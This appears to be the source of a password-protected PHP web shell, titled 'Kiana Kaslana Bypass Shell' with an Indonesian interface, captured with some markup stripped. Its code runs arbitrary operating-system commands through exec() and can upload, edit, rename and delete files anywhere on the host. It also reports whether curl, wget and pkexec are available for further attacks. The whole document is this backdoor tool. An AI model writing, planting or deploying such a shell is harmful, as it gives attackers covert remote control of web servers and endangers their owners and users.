Masukkan Password

Password salah! Coba lagi.

Kiana Kaslana Bypass Shell

Kiana Kaslana Bypass Shell

$message"; } // Fungsi untuk mendapatkan hak akses function getPermissions($filePath) { $perms = fileperms($filePath); $info = ''; $info .= is_dir($filePath) ? 'd' : '-'; $info .= ($perms & 0400) ? 'r' : '-'; $info .= ($perms & 0200) ? 'w' : '-'; $info .= ($perms & 0100) ? 'x' : '-'; $info .= ($perms & 0040) ? 'r' : '-'; $info .= ($perms & 0020) ? 'w' : '-'; $info .= ($perms & 0010) ? 'x' : '-'; $info .= ($perms & 0004) ? 'r' : '-'; $info .= ($perms & 0002) ? 'w' : '-'; $info .= ($perms & 0001) ? 'x' : '-'; return $info; } // Fungsi untuk memformat ukuran file function formatSize($bytes) { if ($bytes >= 1073741824) return number_format($bytes / 1073741824, 2) . ' GB'; elseif ($bytes >= 1048576) return number_format($bytes / 1048576, 2) . ' MB'; elseif ($bytes >= 1024) return number_format($bytes / 1024, 2) . ' KB'; else return $bytes . ' B'; } // Handle upload file if (isset($_FILES['upload_file']) && $_FILES['upload_file']['error'] == 0) { $uploadPath = $currentDir . '/' . basename($_FILES['upload_file']['name']); if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $uploadPath)) { showMessage("File berhasil diunggah!"); } else { showMessage("Gagal mengunggah file.", "error"); } } // Handle delete file/folder if (isset($_GET['delete'])) { $deletePath = realpath($currentDir . '/' . $_GET['delete']); if ($deletePath) { if (is_file($deletePath)) { unlink($deletePath); showMessage("File dihapus!"); } elseif (is_dir($deletePath)) { rmdir($deletePath); showMessage("Folder dihapus!"); } else { showMessage("Gagal menghapus.", "error"); } } } // Handle rename file/folder if (isset($_POST['old_name']) && isset($_POST['new_name'])) { $oldPath = realpath($currentDir . '/' . $_POST['old_name']); $newPath = $currentDir . '/' . $_POST['new_name']; if ($oldPath && rename($oldPath, $newPath)) { showMessage("Nama diganti!"); } else { showMessage("Gagal ganti nama.", "error"); } } // Handle edit file if (isset($_POST['edit_file']) && isset($_POST['file_content'])) { $editPath = realpath($currentDir . '/' . $_POST['edit_file']); if ($editPath && is_file($editPath)) { file_put_contents($editPath, $_POST['file_content']); showMessage("File diedit!"); } else { showMessage("Gagal edit file.", "error"); } } // Handle command execution $commandOutput = ""; if (isset($_POST['linux_command'])) { $command = trim($_POST['linux_command']); if (!empty($command)) { exec($command . " 2>&1", $output, $return_var); $commandOutput = empty($output) ? "Perintah dijalankan, tidak ada output." : implode("\n", $output); if ($return_var !== 0) { $commandOutput = "Perintah gagal dengan kode $return_var:\n" . $commandOutput; } } } // Informasi server ?>

Informasi OS:

Sistem Software:

Versi PHP:

Curl: On' : 'Off'; ?> | Wget: On' : 'Off'; ?> | Pkexec: On' : 'Off'; ?> | Safe Mode: On' : 'Off'; ?>

Home Logout
' . htmlspecialchars($part) . ''; } echo "

Direktori saat ini: /" . implode(' / ', $pathLinks) . "

"; // Form command Linux ?>
"; echo "NamaTipeTanggal ModifikasiHak AksesUkuranAksi"; foreach ($sortedFiles as $file) { $filePath = $currentDir . '/' . $file; $type = is_dir($filePath) ? 'Folder' : 'File'; $perms = getPermissions($filePath); $isWritable = is_writable($filePath); $permClass = $isWritable ? 'perm-green' : 'perm-red'; $modDate = date('d M Y H:i:s', filemtime($filePath)); $size = is_file($filePath) ? formatSize(filesize($filePath)) : '-'; echo ""; echo ""; if (is_dir($filePath)) { echo "📁 " . htmlspecialchars($file) . ""; } else { echo "📄 " . htmlspecialchars($file) . ""; } echo ""; echo "$type"; echo "$modDate"; echo "$perms"; echo "$size"; echo ""; if (is_file($filePath)) echo "Edit "; echo "Ganti Nama "; echo "Hapus"; echo ""; echo ""; } echo ""; // Tampilkan isi file if (isset($_GET['view']) && isset($_GET['dir'])) { $viewFile = realpath($currentDir . '/' . $_GET['view']); if ($viewFile && is_file($viewFile)) { $fileContent = @file_get_contents($viewFile); if ($fileContent !== false) { if (strpos(mime_content_type($viewFile), 'text/') === 0 || strpos($viewFile, '.php') !== false || strpos($viewFile, '.html') !== false) { echo "

Isi File: " . htmlspecialchars($_GET['view']) . "

"; } else { showMessage("File ini bukan file teks dan tidak dapat ditampilkan.", "error"); } } else { showMessage("Gagal membaca isi file.", "error"); } } } // Form edit file if (isset($_GET['edit'])) { $editFile = realpath($currentDir . '/' . $_GET['edit']); if ($editFile && is_file($editFile)) { $content = file_get_contents($editFile); echo "

Edit File: " . htmlspecialchars($_GET['edit']) . "


"; } } // Form rename file/folder if (isset($_GET['rename'])) { echo "

Ganti Nama: " . htmlspecialchars($_GET['rename']) . "

"; } ?>